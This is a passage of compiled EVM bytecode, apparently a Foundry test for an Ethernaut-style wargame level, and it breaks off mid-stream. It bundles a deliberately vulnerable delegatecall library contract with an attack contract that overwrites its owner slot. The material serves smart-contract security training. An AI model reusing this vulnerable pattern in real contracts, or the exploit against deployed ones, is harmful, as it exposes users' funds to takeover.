f565b620001da6200025736600462001efc565b62000ef8565b6200019a62001088565b6200027162001208565b604051620001c7919062001f14565b620001b36200029136600462001f7a565b620012dd565b62000237620013fc565b620002b8620002b236600462001f98565b620014f6565b6040519015158152602001620001c7565b6200027162001686565b6200019a6200175b565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017f4565b620001da620018c8565b6200019a6200032f36600462001efc565b62001928565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fd4565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fd4565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012dd565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b10565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002075565b9050806001825162000982919062002205565b8151811062000995576200099562001fd4565b60200260200101515f0151600281518110620009b557620009b562001fd4565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab491908101906200221b565b90505f81848560405160200162000acd9291906200226d565b60408051601f198184030181529082905262000aed92916020016200231b565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b519085906004016200234d565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9591908101906200221b565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200199c90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002361565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002361565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001bfb565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb491906200239b565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fd4565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001b1e565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b5060215460405163078f013160e51b81526001600160a01b03808416600483015292935091169063f1e02620906024015f604051808303815f87803b15801562001167575f80fd5b505af11580156200117a573d5f803e3d5ffd5b505060215460235460405163078f013160e51b81526001600160a01b0391821660048201529116925063f1e0262091506024015f604051808303815f87803b158015620011c5575f80fd5b505af1158015620011d8573d5f803e3d5ffd5b5050602054602154620012059350620011ff92506001600160a01b039182169116620014f6565b62001a3e565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200124b9062002361565b80601f0160208091040260200160405190810160405280929190818152602001828054620012799062002361565b8015620012c85780601f106200129e57610100808354040283529160200191620012c8565b820191905f5260205f20905b815481529060010190602001808311620012aa57829003601f168201915b5050505050815260200190600101906200122b565b5f80604051620012ed9062001b2b565b604051809103905ff08015801562001307573d5f803e3d5ffd5b5090505f604051620013199062001b39565b604051809103905ff08015801562001333573d5f803e3d5ffd5b508483604051620013449062001b47565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200137e573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013dd575f80fd5b505af1158015620013f0573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014dd57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014895790505b505050505081525050815260200190600101906200141f565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001552575f80fd5b505af115801562001565573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015c3575f80fd5b505af1158015620015d6573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200163a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001663919081019062002075565b90506001815111156200167b57600191505062001680565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016c99062002361565b80601f0160208091040260200160405190810160405280929190818152602001828054620016f79062002361565b8015620017465780601f106200171c5761010080835404028352916020019162001746565b820191905f5260205f20905b8154815290600101906020018083116200172857829003601f168201915b505050505081526020019060010190620016a9565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017b2575f80fd5b505af1158015620017c5573d5f803e3d5ffd5b5050602054602154620017f29350620017ec92506001600160a01b039182169116620014f6565b62001abd565b565b6008545f9060ff16156200180c575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200189b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018c19190620023b9565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019358243620023d1565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019f39086908690600401620023e7565b5f60405180830381865afa15801562001a0e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a37919081019062002418565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001aa3575f80fd5b505afa15801562001ab6573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a8c565b6108a5806200244f83390190565b60e68062002cf483390190565b610ae58062002dda83390190565b611e7a80620038bf83390190565b610daa806200573983390190565b6001600160a01b038116811462001205575f80fd5b5f805f6060848603121562001b7d575f80fd5b833562001b8a8162001b55565b9250602084013562001b9c8162001b55565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bef5783516001600160a01b03168352928401929184019160010162001bc8565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c355762001c3562001bfb565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c675762001c6762001bfb565b604052919050565b5f67ffffffffffffffff82111562001c8b5762001c8b62001bfb565b50601f01601f191660200190565b5f6020828403121562001caa575f80fd5b813567ffffffffffffffff81111562001cc1575f80fd5b8201601f8101841362001cd2575f80fd5b803562001ce962001ce38262001c6f565b62001c3b565b81815285602083850101111562001cfe575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d3757818101518382015260200162001d1d565b50505f910152565b5f815180845262001d5881602086016020860162001d1b565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e2057603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e0957605f1988850301835262001df684865162001d3f565b948d01949350918c019160010162001dd7565b505050968901969350509087019060010162001d91565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001eee57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ed85783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e94565b5096890196945050509086019060010162001e56565b509098975050505050505050565b5f6020828403121562001f0d575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f6d57603f1988860301845262001f5a85835162001d3f565b9450928501929085019060010162001f3b565b5092979650505050505050565b5f6020828403121562001f8b575f80fd5b813562001a378162001b55565b5f806040838503121562001faa575f80fd5b823562001fb78162001b55565b9150602083013562001fc98162001b55565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002004576200200462001bfb565b5060051b60200190565b5f6200201e62001ce38462001c6f565b905082815283838301111562002032575f80fd5b62001a3783602083018462001d1b565b5f82601f83011262002052575f80fd5b62001a37838351602085016200200e565b8051620020708162001b55565b919050565b5f602080838503121562002087575f80fd5b825167ffffffffffffffff808211156200209f575f80fd5b818501915085601f830112620020b3575f80fd5b8151620020c462001ce38262001fe8565b81815260059190911b83018401908481019088831115620020e3575f80fd5b8585015b83811015620021e457805185811115620020ff575f80fd5b86016060818c03601f1901121562002115575f80fd5b6200211f62001c0f565b888201518781111562002130575f80fd5b8201603f81018d1362002141575f80fd5b898101516200215462001ce38262001fe8565b81815260059190911b8201604001908b8101908f83111562002174575f80fd5b6040840193505b82841015620021965783518252928c0192908c01906200217b565b8452505050604082015187811115620021ad575f80fd5b620021bd8d8b8386010162002042565b8a83015250620021d06060830162002063565b6040820152845250918601918601620020e7565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016805762001680620021f1565b5f602082840312156200222c575f80fd5b815167ffffffffffffffff81111562002243575f80fd5b8201601f8101841362002254575f80fd5b62002265848251602084016200200e565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022a681600585016020880162001d1b565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022e581600a84016020880162001d1b565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200232e81846020880162001d1b565b8351908301906200234481836020880162001d1b565b01949350505050565b602081525f62001a37602083018462001d3f565b600181811c908216806200237657607f821691505b6020821081036200239557634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023ac575f80fd5b815162001a378162001b55565b5f60208284031215620023ca575f80fd5b5051919050565b80820180821115620016805762001680620021f1565b604081525f620023fb604083018562001d3f565b82810360208401526200240f818562001d3f565b95945050505050565b5f6020828403121562002429575f80fd5b815167ffffffffffffffff81111562002440575f80fd5b62002265848285016200204256fe608060405234801561000f575f80fd5b50610019336100aa565b604051610025906100f9565b604051809103905ff08015801561003e573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039290921691909117905560405161006b906100f9565b604051809103905ff080158015610084573d5f803e3d5ffd5b50600280546001600160a01b0319166001600160a01b0392909216919091179055610105565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60a28061080383390190565b6106f1806101125f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461036f565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610391565b610178565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461036f565b6101f9565b61011461028e565b61011d5f6102e7565b565b6001546002546040515f926001600160a01b039081169216906101419061034e565b6001600160a01b03928316815291166020820152604001604051809103905ff080158015610171573d5f803e3d5ffd5b5092915050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e791906103c8565b6001600160a01b031614949350505050565b61020161028e565b6001600160a01b0381166102825760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61028b816102e7565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610279565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102d8806103e483390190565b6001600160a01b038116811461028b575f80fd5b5f6020828403121561037f575f80fd5b813561038a8161035b565b9392505050565b5f80604083850312156103a2575f80fd5b82356103ad8161035b565b915060208301356103bd8161035b565b809150509250929050565b5f602082840312156103d8575f80fd5b815161038a8161035b56fe608060405234801561000f575f80fd5b506040516102d83803806102d883398101604081905261002e91610089565b5f80546001600160a01b039384166001600160a01b03199182161790915560018054929093169181169190911790915560028054909116331790556100ba565b80516001600160a01b0381168114610084575f80fd5b919050565b5f806040838503121561009a575f80fd5b6100a38361006e565b91506100b16020840161006e565b90509250929050565b610211806100c75f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635bda8fa41161004d5780635bda8fa4146100a95780638da5cb5b146100be578063f1e02620146100d1575f80fd5b806327d6974f146100685780633dc7942214610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f5461007b906001600160a01b031681565b6100bc6100b7366004610198565b6100e4565b005b60025461007b906001600160a01b031681565b6100bc6100df366004610198565b61016b565b600154604051630efac9b160e21b6020820152602481018390526001600160a01b03909116906044015b60408051601f1981840301815290829052610128916101af565b5f60405180830381855af49150503d805f8114610160576040519150601f19603f3d011682016040523d82523d5f602084013e610165565b606091505b50505050565b5f54604051630efac9b160e21b6020820152602481018390526001600160a01b039091169060440161010e565b5f602082840312156101a8575f80fd5b5035919050565b5f82515f5b818110156101ce57602081860181015185830152016101b4565b505f92019182525091905056fea2646970667358221220b19f38674ff64108fe7c176a97d29297a530923bccef78328e4b3acca189e5e064736f6c63430008180033a264697066735822122024a80f7246e6a7cb8966222aa7557b8095124ebe37ff42c4b562ef8165bed23164736f6c634300081800336080604052348015600e575f80fd5b5060878061001b5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b60396035366004603b565b5f55565b005b5f60208284031215604a575f80fd5b503591905056fea264697066735822122054cc42bda4d40361c35745312e36fbf52dd734c753eeb1e2c597d6ad1befd80764736f6c63430008180033608060405234801561000f575f80fd5b5060ca8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b607c6035366004607e565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f60208284031215608d575f80fd5b503591905056fea26469706673582212208e4121d5b2cc0088b1abc08987c9ef52a97254b2b24ed6ec042cdf2395eff31764736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a11576040516246